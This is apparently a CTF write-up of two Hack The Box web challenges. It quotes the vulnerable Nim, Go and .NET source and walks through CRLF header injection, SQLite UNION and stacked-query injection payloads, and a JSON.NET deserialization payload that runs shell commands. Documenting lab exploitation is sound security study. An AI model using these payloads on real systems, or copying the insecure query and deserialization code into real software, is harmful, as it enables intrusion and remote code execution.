HTB University CTF 2023 Web writeups

Kyrillos Maged
8 min readDec 10, 2023

--

The web challenges depended on the source code review i have solved 2 out 3 web challenges

GateCrash challenge

we have a login page

on the backend we have a proxy written in nim programming language i did not know that it is exits before the CTF Lamo

import asyncdispatch, strutils, jester, httpClient, json
import std/uri

const userApi = "http://127.0.0.1:9090"

proc msgjson(msg: string): string =
"""{"msg": "$#"}""" % [msg]

proc containsSqlInjection(input: string): bool =
for c in input:
let ordC = ord(c)
if not ((ordC >= ord('a') and ordC <= ord('z')) or
(ordC >= ord('A') and ordC <= ord('Z')) or
(ordC >= ord('0') and ordC <= ord('9'))):
return true
return false

settings:
port = Port 1337

routes:
post "/user":
let username = @"username"
let password = @"password"

if containsSqlInjection(username) or containsSqlInjection(password):
resp msgjson("Malicious input detected")

let userAgent = decodeUrl(request.headers["user-agent"])

let jsonData = %*{
"username": username,
"password": password
}

let jsonStr = $jsonData

let client = newHttpClient(userAgent)
client.headers = newHttpHeaders({"Content-Type": "application/json"})

let response = client.request(userApi & "/login", httpMethod = HttpPost, body = jsonStr)

if response.code != Http200:
resp msgjson(response.body.strip())

resp msgjson(readFile("/flag.txt"))

runForever()

and a backend code written in go

package main

import (
"crypto/rand"
"database/sql"
"encoding/hex"
"encoding/json"
"fmt"
"log"
"net/http"
"strconv"
"strings"

"github.com/gorilla/mux"
_ "github.com/mattn/go-sqlite3"
"golang.org/x/crypto/bcrypt"
)

var db *sql.DB
var allowedUserAgents = []string{
"Mozilla/7.0",
"ChromeBot/9.5",
"SafariX/12.2",
"QuantumBreeze/3.0",
"EdgeWave/5.1",
"Dragonfly/8.0",
"LynxProwler/2.7",
"NavigatorX/4.3",
"BraveCat/1.8",
"OceanaBrowser/6.5",
}

const (
sqlitePath = "./user.db"
webPort = 9090
)

type User struct {
ID int
Username string
Password string
}

func randomHex(n int) (string, error) {
bytes := make([]byte, n)
if _, err := rand.Read(bytes); err != nil {
return "", err
}
return hex.EncodeToString(bytes), nil
}

func seedDatabase() {
createTable := `
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
password TEXT NOT NULL
);
`

_, err := db.Exec(createTable)
if err != nil {
log.Fatal(err)
}

for i := 0; i < 10; i++ {
newUser, _ := randomHex(32)
newPass, _ := randomHex(32)

hashedPassword, err := bcrypt.GenerateFromPassword([]byte(newPass), bcrypt.DefaultCost)
if err != nil {
fmt.Println(err)
return
}

_, err = db.Exec("INSERT INTO users (username, password) VALUES ('" + newUser + "', '" + string(hashedPassword) + "');")
if err != nil {
fmt.Println(err)
return
}
}
}

func loginHandler(w http.ResponseWriter, r *http.Request) {
found := false
for _, userAgent := range allowedUserAgents {
if strings.Contains(r.Header.Get("User-Agent"), userAgent) {
found = true
break
}
}

if !found {
http.Error(w, "Browser not supported", http.StatusNotAcceptable)
return
}

var user User
err := json.NewDecoder(r.Body).Decode(&user)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}

userPassword := user.Password

row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';")
err = row.Scan(&user.ID, &user.Username, &user.Password)
if err != nil {
http.Error(w, "Invalid username or password "+err.Error(), http.StatusUnauthorized)
return
}

err = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(userPassword))
if err != nil {
http.Error(w, "Invalid compare username or password"+err.Error(), http.StatusUnauthorized)
return
}

w.WriteHeader(http.StatusOK)
fmt.Fprintln(w, "Login successful")
}

func main() {
var err error
db, err = sql.Open("sqlite3", sqlitePath)
if err != nil {
log.Fatal(err)
}
defer db.Close()

seedDatabase()

r := mux.NewRouter()
r.HandleFunc("/login", loginHandler).Methods("POST")

http.Handle("/", r)
fmt.Println("Server is running on " + strconv.Itoa(webPort))
http.ListenAndServe(":"+strconv.Itoa(webPort), nil)
}

i will break through what we knew from the in points to not make the writeup too long

proxy (nim)

  1. from the proxy we know that we need to login to get the flag
  2. the proxy filter every char not in rang [a-zA-Z0–9] so there is no place for sql injection (till now)
  3. the proxy take the user-agent of the client and send it back to the server
  4. it take login data as post params and send it to the backend as json

backend (GO)

  1. the backend accept only specfic user-agents otherwise will return not supported agent
  2. there is no sql injection protection
  3. it search with the username and compare the hash given password with hash of the stored password

hot to exploit

  1. notice the user-agent header is taken in nim code without any protection , so i thought we can exploit through how the backend parse the request from the proxy
  2. the GO code use Contain to match the user-agent which is not a good idea because alongside the user agent we can add anything
  3. we can add CRLF to add headers or payloads to send it directly to the backend and bypass the proxy sqli filter
  4. before going to the sqli i faced a problem that the json payload must be the same length of the Post data length .My explanation for that is the proxy set the Conent-Length of its request based on the Post data not on my payload so i had to make them both the same length
  5. then make your sqli payload and send
(what we send)
POST /user HTTP/1.1
Host: challenge
User-Agent: Mozilla/7.0\r\n\r\n{"username":"sqli","password":"pass"}
Content-Length: n
......

username=&password

(what the proxy send to the backend)

POST /login HTTP/1.1
Host: internal ip
Content-Length: n
User-Agent: Mozilla/7.0


{"username":"sqli","password":"pass"}

ignroed because of the Content-Length by the parser

username=&password

Time to Poc :

i used this go code to create a hash for a password i want to inject

package main

import (
"fmt"

"golang.org/x/crypto/bcrypt"
)

func main() {
// Replace "password123" with the actual password you want to hash
password := "password123"

// Hashing the password
hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
fmt.Println("Error:", err)
return
}

// Print the hashed password
fmt.Println("Hashed Password:", string(hashedPassword))
}

sqli payload used (not it is sqlite) , i return an id , username, hashed password as the server expected , the hash will be compared the password i send in the json

asas' union select 1 as id , hackeras username , $2a$10$N2/NBEeXbAL5XqK6l.ZLAuJkZgRcWE9SLcXJlQ.paq/5c0bTqoFne as password  --

i used this code to test the server directly on my local machine

$ curl "http://localhost:9090/login" -X POST   --data-binary $'{\"username\":\"asas\' union select 1 as id , \'hacker\' as username , \'$2a$10$N2/NBEeXbAL5XqK6l.ZLAuJkZgRcWE9SLcXJlQ.paq/5c0bTqoFne\' as password  -- \", \"password\":\"password123\"}' -H "User-Agent: Mozilla/7.0" -H "Content-Type: application/json"

Finally time to get the flag

Nexus Void challenge

Let’s explore the app we have a login page

we can create account and login , we have a shopping app with some functionalities

this CTF based on source code review , the code was made by .NET framework, it was big and took time to review it, so i will post the important parts

here is where post request is made to add an item to the wishlist , vulnerable to sql injection

 [HttpPost]
public IActionResult Wishlist(string name, string sellerName)
{
string ID = HttpContext.Items["ID"].ToString();

string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID={ID}";
var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();

string sqlQueryProduct = $"SELECT * from Products WHERE name='{name}' AND sellerName='{sellerName}'";
Console.WriteLine(sqlQueryProduct);
var product = _db.Products.FromSqlRaw(sqlQueryProduct).FirstOrDefault();

here where the wishlist data retrieved from the database , the wishlist saved as serialized object then deserialized in here , vulnerable to insecure deserialization injection

 [HttpGet]
public IActionResult Wishlist()
{
string ID = HttpContext.Items["ID"].ToString();

string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID='{ID}'";
var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();


if (wishlist != null && !string.IsNullOrEmpty(wishlist.data))
{
List<ProductModel> products = SerializeHelper.Deserialize(wishlist.data);
return View(products);

}
else
{
List<ProductModel> products = null;
return View(products);

}

}

here a class used to execute command related to performance on the server , will use in the deserialization

using System.Diagnostics;

namespace Nexus_Void.Helpers
{
public class StatusCheckHelper
{
public string output { get; set; }

private string _command;

public string command
{
get { return _command; }

set
{
_command = value;
try
{
var p = new System.Diagnostics.Process();

var processStartInfo = new ProcessStartInfo()
{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = $"/bin/bash",
WorkingDirectory = "/tmp",
Arguments = $"-c \"{_command}\"",
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
p.StartInfo = processStartInfo;
p.Start();
Console.WriteLine("command exuted");
Console.WriteLine(_command.ToString());
Console.WriteLine("out put"+p.StandardOutput.ReadToEnd());
output = p.StandardOutput.ReadToEnd();
}
catch
{
output = "Something went wrong!";
}

}
}


}
}

i think know it’s obvious what will do , sql injection to inject a malicious serialized object will used later in deserialization to execute code

it looks simple because i posted the important parts of the code only otherwise the source code space was 150 MB

Poc

i have tested the docker challenge locally and constructed this sqli payload

it’s injected in the seller name , and return an object of a product to add in the wishlist to not break the system

asaa' union select 1 , 'hacker113' ,'/images/weapon.png' , '0 hacked' ,  'hacked' , 'my delulu'  ,  '/images/back1.png' )   AS "n" LIMIT 1  ; /*

asaa' union select 1 , 'hacker3' ,'/images/weapon.png' , '0 hacked' , 'hacked' , 'my delulu' , '/images/back1.png' ) AS "n" LIMIT 1 ; /*

we succeed to add arbitrary item in our wishlist , but this only half the way

then insert or update other user’s wishlist serialized data, the reason why i did not injected the current user that the code update the serialized data of the user after adding item in the wishlist directly

asaa' union select 1 , 'hacker113' ,'/images/weapon.png' , '0 hacked' ,  'hacked' , 'my delulu'  ,  '/images/back1.png' )   AS "n" LIMIT 1  ;  UPDATE Wishlist SET data='serialized' WHERE ID=2 ;  /*

asaa' union select 1 , 'hacker3' ,'/images/weapon.png' , '0 hacked' , 'hacked' , 'my delulu' , '/images/back1.png' ) AS "n" LIMIT 1 ; INSERT INTO Wishlist(ID, username, data) VALUES(2,"test2","serialized") ; /*

but what is the serialized object we will pass and how to create it ?

StatusCheckHelper class that what we will use , .NET accept various of representation of serialized objects , our challenge use JSON.NET

using the help of this blog https://www.vaadata.com/blog/exploiting-and-preventing-insecure-deserialization-vulnerabilities/ i knew how to make the json

{"$type":"Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void","command":"cat /flag.txt > /app/wwwroot/images/flag.txt"}

base64 it and add it in the sqli

asaa' union select 1 , 'hacker113' ,'/images/weapon.png' , '0 hacked' ,  'hacked' , 'my delulu'  ,  '/images/back1.png' )   AS "n" LIMIT 1  ;  UPDATE Wishlist SET data='eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsImNvbW1hbmQiOiJjYXQgL2ZsYWcudHh0ID4gL2FwcC93d3dyb290L2ltYWdlcy9mbGFnLnR4dCAifQo=' WHERE ID=2 ;  /*


asaa' union select 1 , 'hacker3' ,'/images/weapon.png' , '0 hacked' , 'hacked' , 'my delulu' , '/images/back1.png' ) AS "n" LIMIT 1 ; INSERT INTO Wishlist(ID, username, data) VALUES(2,"test2","eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsImNvbW1hbmQiOiJjYXQgL2ZsYWcudHh0ID4gL2FwcC93d3dyb290L2ltYWdlcy9mbGFnIn0K") ; /*

i have created another user , once we request the wishlist page , the server will retrieve our malicious object and execute the code

back to the json , i copied the flag to a public dir in the server then requested it through the browser

HTB{D0tN3t_d3s3r1al1z4t10n_v14_sQL_1NJ3CT10N_1s_fun!}

--

--

Kyrillos Maged

CyberSecurity Student at FCDS Alexandria University | CyberSecurity enthusiast - Web Penetration Tester | CTF player | HTB CBBH